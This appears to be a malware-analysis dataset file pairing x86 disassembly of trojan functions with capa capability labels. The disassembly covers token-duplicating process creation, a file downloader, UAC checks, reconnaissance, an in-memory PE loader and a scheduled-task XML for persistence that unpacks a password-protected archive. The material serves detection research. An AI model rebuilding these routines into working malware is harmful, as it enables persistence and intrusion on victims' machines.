joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10005898
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.userenv.dll
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.CreateEnvironmentBlock
push eax
mov dword [ebp - 0x14], eax
call ebx
mov dword [ebp - 0x18], eax
xor esi, esi
push 0x44
lea eax, [ebp - 0x6c]
push esi
push eax
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], esi
mov dword [ebp - 8], esi
mov dword [ebp - 4], esi
call fcn.10009f80
push 0x10
lea eax, [ebp - 0x28]
push esi
push eax
call fcn.10009f80
add esp, 0x18
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x6c], 0x44
mov dword [ebp - 0x64], str.WinSta0Default
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea ecx, [ebp - 8]
push ecx
push 0xf01ff
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea eax, [ebp - 4]
push eax
push 1
push 1
push esi
push 0x2000000
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
push str.WTSGetActiveConsoleSessionId
push str.Kernel32.dll
call edi
push eax
call ebx
cmp eax, esi
je 0x1000599c
call eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0xc]
push 4
push eax
push 0xc
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_SetTokenInformation]
push esi
lea eax, [ebp - 0x10]
push dword [ebp - 4]
push eax
call dword [ebp - 0x18]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x6c]
push eax
push esi
push dword [ebp - 0x10]
push 0x430
push esi
push esi
push esi
push dword [ebp + 8]
push esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
push dword [ebp - 4]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [ebp - 0x28]
call edi
push dword [ebp - 8]
call edi
jmp 0x1000599e
xor ebx, ebx
cmp dword [ebp - 0x14], esi
je 0x100059ac
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
mov eax, ebx
pop esi
pop ebx
leave
ret
Function at 0x10005ba7
Capabilities:
Create process on windows
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x354
push ebx
push esi
push edi
mov esi, 0x104
xor edi, edi
push esi
lea eax, [ebp - 0x160]
push edi
push eax
mov dword [ebp - 8], esi
call fcn.10009f80
push 0x2e
push dword [ebp + 8]
call fcn.1000a3b0
add esp, 0x14
cmp eax, edi
je 0x10005c6c
lea ecx, [ebp - 4]
push ecx
push 0xf003f
push edi
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10005c6c
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x160]
push eax
push edi
push dword [ebp - 4]
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
call edi
push dword [ebp - 4]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call ebx
push 0x1f4
lea eax, [ebp - 0x354]
push 0
push eax
call fcn.10009f80
lea eax, [ebp - 0x160]
push eax
lea eax, [ebp - 0x354]
push str._s_shellopencommand
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
lea eax, [ebp - 4]
push eax
push 0xf003f
lea eax, [ebp - 0x354]
push 0
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x10005c73
xor al, al
jmp 0x10005d33
push esi
lea eax, [ebp - 0x160]
push 0
push eax
call fcn.10009f80
add esp, 0xc
lea eax, [ebp - 8]
mov dword [ebp - 8], esi
xor esi, esi
push eax
lea eax, [ebp - 0x160]
push eax
push esi
push dword [ebp - 4]
call edi
push dword [ebp - 4]
call ebx
lea eax, [ebp - 0x160]
push 0x10027f2c
push eax
call fcn.1000ab10
pop ecx
cmp eax, esi
pop ecx
jne 0x10005cf0
lea eax, [ebp - 0x160]
push 0x10027f28
push eax
call fcn.1000ab10
pop ecx
cmp eax, esi
pop ecx
jne 0x10005cf0
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x160]
push 0x10027f24
push eax
call edi
push dword [ebp + 8]
lea eax, [ebp - 0x160]
push eax
call edi
jmp 0x10005cfa
push dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x10
xor eax, eax
cmp dword [ebp + 0xc], esi
pop ecx
lea edi, [ebp - 0x58]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x5c], 0x44
je 0x10005d17
mov dword [ebp - 0x54], str.WinSta0Default
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x5c]
push eax
push esi
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x160]
push esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10005dec
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
push ebx
xor ebx, ebx
push edi
push ebx
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
lea eax, [ebp - 0x128]
push eax
push edi
mov dword [ebp - 0x128], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x10005e5d
lea eax, [ebp - 0x128]
mov dword [ebp - 0x128], 0x128
push eax
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x10005e54
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push eax
call fcn.1000a320
pop ecx
test eax, eax
pop ecx
jne 0x10005e1e
mov ebx, dword [ebp - 0x120]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
pop edi
pop ebx
leave
ret
Function at 0x10006424
Capabilities:
Connect to http server
Copy file
Delete file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2918
call fcn.10009fe0
push ebx
push esi
push edi
lea eax, [ebp - 0x118]
push dword [ebp + 0xc]
push 0x1002e078
push eax
call fcn.1000a45b
add esp, 0xc
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor ebx, ebx
push str.wininet.dll
mov dword [ebp - 4], ebx
mov dword [ebp - 0x14], ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.InternetOpenA
push edi
mov dword [ebp - 8], edi
call esi
push ebx
push ebx
push ebx
push ebx
push str.MSIE_6.0
call eax
cmp eax, ebx
mov dword [ebp - 0x10], eax
je 0x100064c1
push ebx
push ebx
push 3
push ebx
push ebx
push 0x50
push dword [ebp + 8]
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
push str.InternetOpenUrlA
push edi
call esi
push ebx
push closesocket
push ebx
push ebx
push dword [ebp + 8]
push dword [ebp - 0x10]
call eax
cmp eax, ebx
mov dword [ebp - 0xc], eax
jne 0x100064d5
cmp edi, ebx
je 0x10006614
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x10006614
push ebx
push ebx
push 2
push ebx
push ebx
lea eax, [ebp - 0x118]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
je 0x100065bf
mov edi, 0x2800
push edi
lea eax, [ebp - 0x2918]
push ebx
push eax
call fcn.10009f80
add esp, 0xc
push str.InternetReadFile
push dword [ebp - 8]
call esi
lea ecx, [ebp - 4]
push ecx
lea ecx, [ebp - 0x2918]
push edi
push ecx
push dword [ebp - 0xc]
call eax
lea eax, [ebp - 0x2918]
push 0x1002e024
push eax
call fcn.1000ab10
pop ecx
test eax, eax
pop ecx
jne 0x100065fe
lea eax, [ebp - 0x2918]
push 0x1002e01c
push eax
call fcn.1000ab10
pop ecx
test eax, eax
pop ecx
jne 0x100065fe
lea eax, [ebp - 0x2918]
push 0x1002e014
push eax
call fcn.1000ab10
pop ecx
test eax, eax
pop ecx
jne 0x100065fe
lea eax, [ebp - 0x2918]
push 0x1002e00c
push eax
call fcn.1000ab10
pop ecx
test eax, eax
pop ecx
jne 0x100065fe
lea eax, [ebp - 0x14]
push ebx
push eax
lea eax, [ebp - 0x2918]
push dword [ebp - 4]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [ebp - 4], ebx
ja 0x100064fe
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp - 8]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.InternetCloseHandle
push edi
call esi
push dword [ebp - 0xc]
mov esi, eax
call esi
push dword [ebp - 0x10]
call esi
cmp edi, ebx
je 0x100065e6
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push ebx
lea eax, [ebp - 0x118]
push dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov al, 1
pop edi
pop esi
pop ebx
leave
ret
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor al, al
jmp 0x100065f9
Function at 0x100072e6
Capabilities:
Enumerate devices by category

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.Ole32.dll
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
push str.CoInitialize
push ebx
call esi
push str.CoUninitialize
push ebx
mov dword [ebp - 0x10], eax
call esi
push str.CoCreateInstance
push ebx
mov dword [ebp - 0x24], eax
call esi
push str.Oleaut32.dll
mov dword [ebp - 0x18], eax
call edi
push str.SysFreeString
push eax
mov dword [ebp - 0x14], eax
call esi
xor esi, esi
mov edi, eax
push esi
call dword [ebp - 0x10]
lea eax, [ebp - 0x1c]
mov dword [ebp - 0xc], esi
push eax
push 0x1001f9fc
push 1
push esi
push 0x1001fa1c
call dword [ebp - 0x18]
test eax, eax
jne 0x10007371
mov eax, dword [ebp - 0x1c]
lea edx, [ebp - 4]
push esi
push edx
mov ecx, dword [eax]
push 0x1001fa0c
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x10007378
xor eax, eax
jmp 0x10007406
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x14]
mov eax, dword [ebp - 4]
lea edx, [ebp - 0x20]
push edx
lea edx, [ebp - 8]
mov ecx, dword [eax]
push edx
push 1
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x100073e9
mov eax, dword [ebp - 8]
lea edx, [ebp - 0x10]
push edx
push 0x1001e548
mov ecx, dword [eax]
push esi
push esi
push eax
call dword [ecx + 0x24]
test eax, eax
jl 0x100073de
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 0x34]
push esi
mov word [ebp - 0x34], 8
mov ecx, dword [eax]
push edx
push str.FriendlyName
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x100073d5
push dword [ebp - 0x2c]
inc dword [ebp - 0xc]
call edi
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
jmp 0x10007381
call dword [ebp - 0x24]
mov edi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp ebx, esi
je 0x100073f9
push ebx
call edi
cmp dword [ebp - 0x14], esi
je 0x10007403
push dword [ebp - 0x14]
call edi
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x100074b0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x428
push ebx
push edi
push dword [ebp + 0x14]
xor ebx, ebx
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x427]
mov byte [ebp - 0x428], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push ebx
push dword [ebp + 0x10]
stosb byte es:[edi], al
call fcn.10009f80
push 0x400
lea eax, [ebp - 0x428]
push ebx
push eax
call fcn.10009f80
lea eax, [ebp - 0x28]
push 0x1002cb80
push eax
lea eax, [ebp - 0x428]
push eax
mov byte [ebp - 0x28], 0x53
mov byte [ebp - 0x27], 0x59
mov byte [ebp - 0x26], 0x53
mov byte [ebp - 0x25], 0x54
mov byte [ebp - 0x24], 0x45
mov byte [ebp - 0x23], 0x4d
mov byte [ebp - 0x22], 0x5c
mov byte [ebp - 0x21], 0x43
mov byte [ebp - 0x20], 0x75
mov byte [ebp - 0x1f], 0x72
mov byte [ebp - 0x1e], 0x72
mov byte [ebp - 0x1d], 0x65
mov byte [ebp - 0x1c], 0x6e
mov byte [ebp - 0x1b], 0x74
mov byte [ebp - 0x1a], 0x43
mov byte [ebp - 0x19], 0x6f
mov byte [ebp - 0x18], 0x6e
mov byte [ebp - 0x17], 0x74
mov byte [ebp - 0x16], 0x72
mov byte [ebp - 0x15], 0x6f
mov byte [ebp - 0x14], 0x6c
mov byte [ebp - 0x13], 0x53
mov byte [ebp - 0x12], 0x65
mov byte [ebp - 0x11], 0x74
mov byte [ebp - 0x10], 0x5c
mov byte [ebp - 0xf], 0x53
mov byte [ebp - 0xe], 0x65
mov byte [ebp - 0xd], 0x72
mov byte [ebp - 0xc], 0x76
mov byte [ebp - 0xb], 0x69
mov byte [ebp - 0xa], 0x63
mov byte [ebp - 9], 0x65
mov byte [ebp - 8], 0x73
mov byte [ebp - 7], 0x5c
mov byte [ebp - 6], 0x25
mov byte [ebp - 5], 0x73
mov byte [ebp - 4], bl
call dword [sym.imp.USER32.dll_wsprintfA]
push ebx
push dword [ebp + 0x14]
push ebx
push dword [ebp + 0x10]
push 1
push dword [ebp + 0xc]
push str.Console
push closesocket
call fcn.100092c9
add esp, 0x44
pop edi
pop ebx
leave
ret

Function at 0x10007797
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
lea eax, [ebp + 0xc]
push edi
xor edi, edi
push eax
push 0x20019
push edi
push dword [ebp + 0xc]
mov dword [ebp - 4], edi
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000780f
lea eax, [ebp - 4]
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push eax
lea eax, [ebp + 8]
push edi
push eax
push edi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call esi
test eax, eax
jne 0x10007806
push dword [ebp - 4]
call fcn.1000a054
mov ebx, dword [ebp + 0x14]
cmp eax, edi
pop ecx
mov dword [ebx], eax
je 0x10007806
lea ecx, [ebp - 4]
push ecx
push eax
push edi
push edi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call esi
test eax, eax
je 0x10007813
push dword [ebx]
call fcn.100096f3
pop ecx
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor al, al
jmp 0x10007826
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp + 0x18]
mov ecx, dword [ebp - 4]
mov dword [eax], ecx
mov al, 1
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000782b
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xac
push ebx
push esi
push edi
mov esi, 0x9c
xor edi, edi
push esi
lea eax, [ebp - 0xac]
push edi
push eax
xor ebx, ebx
call fcn.10009f80
add esp, 0xc
lea eax, [ebp - 0xac]
mov dword [ebp - 0xac], esi
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x10007956
cmp dword [ebp - 0x9c], 2
jne 0x10007956
cmp dword [ebp - 0xa8], 5
jbe 0x10007956
lea eax, [ebp - 8]
mov dword [ebp - 8], edi
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x10007956
lea eax, [ebp - 4]
mov esi, dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
push eax
push edi
push edi
push 0x19
push dword [ebp - 8]
mov dword [ebp - 4], edi
call esi
test eax, eax
jne 0x1000790d
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x1000790d
push dword [ebp - 4]
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, eax
test edi, edi
je 0x1000790b
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push edi
push 0x19
push dword [ebp - 8]
call esi
test eax, eax
je 0x10007904
push dword [edi]
call dword [sym.imp.ADVAPI32.dll_GetSidSubAuthorityCount]
movzx eax, byte [eax]
dec eax
push eax
push dword [edi]
call dword [sym.imp.ADVAPI32.dll_GetSidSubAuthority]
mov ebx, dword [eax]
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
xor edi, edi
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebx, edi
je 0x10007956
cmp ebx, 0x1000
je 0x1000794f
cmp ebx, 0x2000
je 0x10007948
cmp ebx, 0x3000
je 0x10007941
cmp ebx, 0x4000
jne 0x10007964
push 0x1002e518
jmp 0x1000795b
push 0x1002e514
jmp 0x1000795b
push 0x1002e510
jmp 0x1000795b
push 0x1002e50c
jmp 0x1000795b
push 0x1002e504
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0xc]
mov dword [ebp - 0x10], edi
push eax
lea eax, [ebp - 0x10]
push eax
push str.PromptOnSecureDesktop
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push closesocket
mov dword [ebp - 0xc], edi
call fcn.10007797
add esp, 0x14
cmp dword [ebp - 0xc], edi
pop edi
pop esi
pop ebx
jbe 0x100079a0
mov eax, dword [ebp - 0x10]
cmp byte [eax], 1
jne 0x100079a0
push str._uac
jmp 0x100079a5
push str._UAC
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 1
pop eax
leave
ret
Function at 0x100079b3
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4b8
push esi
push edi
push 0x1002cb80
lea eax, [ebp - 0x3b8]
push str.SYSTEMCurrentControlSetServices_s
push eax
mov byte [ebp - 0x2b4], 0xc8
call dword [sym.imp.USER32.dll_wsprintfA]
xor edi, edi
push 0x20
lea eax, [ebp - 0x28c]
push edi
push eax
call fcn.10009f80
add esp, 0x18
lea eax, [ebp - 0x2b3]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x2b3]
push edi
push eax
push 1
push str.Groupfenzhu
push str.Console
push closesocket
call fcn.100092c9
add esp, 0x20
cmp eax, 1
jge 0x10007a38
lea eax, [ebp - 0x2b3]
push 0x1002cc7a
push eax
call fcn.1000a1f0
pop ecx
pop ecx
push 0x10
lea eax, [ebp - 0x1c]
pop esi
push esi
push edi
push eax
call fcn.10009f80
add esp, 0xc
lea eax, [ebp - 4]
mov dword [ebp - 4], esi
mov esi, dword [ebp + 8]
push eax
lea eax, [ebp - 0x1c]
push eax
push dword [esi + 0x48]
call dword [0x100334ac]
lea eax, [ebp - 0x18]
push 4
push eax
lea eax, [ebp - 0x290]
push eax
call fcn.10009700
lea eax, [ebp - 0x3b8]
push eax
lea eax, [ebp - 0x28c]
push 0x32
push eax
call fcn.10007465
add esp, 0x18
lea eax, [ebp - 0x228]
mov dword [ebp - 0x228], 0x9c
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea eax, [ebp - 0x21c]
push eax
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x224]
push eax
call fcn.1000774f
call fcn.100075bf
test eax, eax
setne al
mov byte [ebp - 0x164], al
lea eax, [ebp - 0x180]
push eax
call fcn.1000740b
lea eax, [ebp - 0x102]
push eax
call fcn.1000782b
call fcn.100076e1
push eax
lea eax, [ebp - 0x12a]
push eax
call fcn.1000a1e0
add esp, 0x1c
lea eax, [ebp - 0xc]
mov dword [ebp - 0xe0], edi
mov dword [ebp - 0xc], 8
push eax
call dword [sym.imp.USER32.dll_GetLastInputInfo]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [ebp - 8]
cmp eax, 0x2bf20
jbe 0x10007b29
mov dword [ebp - 0xe0], 1
lea eax, [ebp - 0x5c]
mov dword [ebp - 0x5c], 0x40
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov eax, dword [ebp - 0x54]
mov edx, dword [ebp - 0x50]
push 0x14
pop ecx
call fcn.1000b160
mov dword [ebp - 0x160], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x16c], eax
call fcn.100072e6
mov dword [ebp - 0x168], eax
lea eax, [ebp - 0x25a]
push str.11.13
push eax
call fcn.1000a1e0
lea eax, [ebp - 0xdc]
push 0x80
push eax
push str.RDP_Tcp
call fcn.10007666
lea eax, [ebp - 0x15c]
push 0x32
push eax
lea eax, [ebp - 0x4b8]
push eax
call fcn.100075ff
add esp, 0x20
lea eax, [ebp - 0x2b4]
mov ecx, esi
push 0x258
push eax
call fcn.10001866
pop edi
pop esi
leave
ret
Function at 0x10007bda
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
push esi
push ebx
push ebx
push 2
push ebx
push 1
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
lea eax, [ebp + 8]
push ebx
push eax
push 0xee2
push str.__xml_version_1.0__encoding_UTF_16____r_n_Task_version_1.2__xmlns_http:__schemas.microsoft.com_windows_2004_02_mit_task___r_n___RegistrationInfo__r_n_____Date_2022_10_24T03:31:27__Date__r_n_____Author_Administrator__Author__r_n____RegistrationInfo__r_n___Triggers__r_n_____LogonTrigger__r_n_______StartBoundary_2022_10_24T03:31:00__StartBoundary__r_n_______Enabled_true__Enabled__r_n______LogonTrigger__r_n____Triggers__r_n___Principals__r_n_____Principal_id_Author___r_n_______UserId_Administrator__UserId__r_n_______LogonType_InteractiveToken__LogonType__r_n_______RunLevel_HighestAvailable__RunLevel__r_n______Principal__r_n____Principals__r_n___Settings__r_n_____MultipleInstancesPolicy_IgnoreNew__MultipleInstancesPolicy__r_n_____DisallowStartIfOnBatteries_false__DisallowStartIfOnBatteries__r_n_____StopIfGoingOnBatteries_false__StopIfGoingOnBatteries__r_n_____AllowHardTerminate_false__AllowHardTerminate__r_n_____StartWhenAvailable_false__StartWhenAvailable__r_n_____RunOnlyIfNetworkAvailable_false__RunOnlyIfNetworkAvailable__r_n_____IdleSettings__r_n_______StopOnIdleEnd_true__StopOnIdleEnd__r_n_______RestartOnIdle_false__RestartOnIdle__r_n______IdleSettings__r_n_____AllowStartOnDemand_true__AllowStartOnDemand__r_n_____Enabled_true__Enabled__r_n_____Hidden_false__Hidden__r_n_____RunOnlyIfIdle_false__RunOnlyIfIdle__r_n_____WakeToRun_false__WakeToRun__r_n_____ExecutionTimeLimit_PT0S__ExecutionTimeLimit__r_n_____Priority_7__Priority__r_n_____RestartOnFailure__r_n_______Interval_PT1M__Interval__r_n_______Count_3__Count__r_n______RestartOnFailure__r_n____Settings__r_n___Actions_Context_Author___r_n_____Exec__r_n_______Command_C:ProgramDataDataun.exe__Command__r_n_______Arguments_x__o___ppoiuytrewq_C:ProgramDataDataupx.rar_iusb3mon.exe_C:ProgramDataProgram__st__Arguments__r_n______Exec__r_n_____Exec__r_n_______Command_C:ProgramDataProgramiusb3mon.exe__Command__r_n_______WorkingDirectory_C:ProgramDataProgram__WorkingDirectory__r_n______Exec__r_n____Actions__r_n__Task_
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x10007c14
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
pop esi
pop ebx
pop ebp
ret
Function at 0x10007ed9
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
cmp word [eax], 0x5a4d
jne 0x10007fe8
mov esi, dword [eax + 0x3c]
add esi, eax
cmp dword [esi], 0x4550
jne 0x10007fe8
mov edi, 0x2000
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 4
push edi
push dword [esi + 0x50]
push dword [esi + 0x34]
call ebx
test eax, eax
mov dword [ebp - 4], eax
jne 0x10007f31
push 4
push edi
push dword [esi + 0x50]
push eax
call ebx
test eax, eax
mov dword [ebp - 4], eax
je 0x10007fe8
push 0x14
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
mov eax, dword [ebp - 4]
xor ecx, ecx
push 4
push 0x1000
mov dword [edi + 4], eax
mov dword [edi + 0xc], ecx
mov dword [edi + 8], ecx
mov dword [edi + 0x10], ecx
push dword [esi + 0x50]
push eax
call ebx
push 4
push 0x1000
push dword [esi + 0x54]
push dword [ebp - 4]
call ebx
mov ebx, dword [ebp + 8]
mov dword [ebp - 8], eax
mov ecx, dword [ebx + 0x3c]
add ecx, dword [esi + 0x54]
push ecx
push ebx
push eax
call fcn.10009700
mov eax, dword [ebx + 0x3c]
mov ecx, dword [ebp - 8]
add eax, ecx
mov ecx, dword [ebp - 4]
push edi
push esi
mov dword [edi], eax
push ebx
mov dword [eax + 0x34], ecx
call fcn.10007ff6
mov ebx, dword [ebp - 4]
add esp, 0x18
mov eax, ebx
sub eax, dword [esi + 0x34]
je 0x10007fb3
push eax
push edi
call fcn.10008160
pop ecx
pop ecx
push edi
call fcn.100081da
test eax, eax
pop ecx
je 0x10007fe1
push edi
call fcn.100080a3
mov eax, dword [edi]
pop ecx
mov eax, dword [eax + 0x28]
test eax, eax
je 0x10007fef
add eax, ebx
test eax, eax
je 0x10007fe1
push 0
push 1
pop esi
push esi
push ebx
call eax
test eax, eax
jne 0x10007fec
push edi
call fcn.10008394
pop ecx
xor eax, eax
jmp 0x10007ff1
mov dword [edi + 0x10], esi
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10007ff6
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 0x10]
and dword [ebp - 4], 0
push esi
mov ecx, dword [eax + 4]
mov eax, dword [eax]
mov dword [ebp - 8], ecx
movzx ecx, word [eax + 0x14]
cmp word [eax + 6], 0
lea esi, [ecx + eax + 0x18]
jbe 0x100080a0
push ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
add esi, 0x10
mov ebx, 0x1000
cmp dword [esi], 0
jne 0x10008061
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 0x38]
test eax, eax
mov dword [ebp - 0xc], eax
jle 0x1000808a
push 4
push ebx
push eax
mov eax, dword [esi - 4]
add eax, dword [ebp - 8]
push eax
call edi
push dword [ebp - 0xc]
mov dword [esi - 8], eax
push 0
push eax
call fcn.10009f80
add esp, 0xc
jmp 0x1000808a
mov eax, dword [esi - 4]
push 4
add eax, dword [ebp - 8]
push ebx
push dword [esi]
push eax
call edi
mov ecx, dword [esi + 4]
push dword [esi]
add ecx, dword [ebp + 8]
mov dword [ebp - 0xc], eax
push ecx
push eax
call fcn.10009700
mov eax, dword [ebp - 0xc]
add esp, 0xc
mov dword [esi - 8], eax
mov eax, dword [ebp + 0x10]
inc dword [ebp - 4]
add esi, 0x28
mov eax, dword [eax]
movzx eax, word [eax + 6]
cmp dword [ebp - 4], eax
jl 0x1000802f
pop edi
pop ebx
pop esi
leave
ret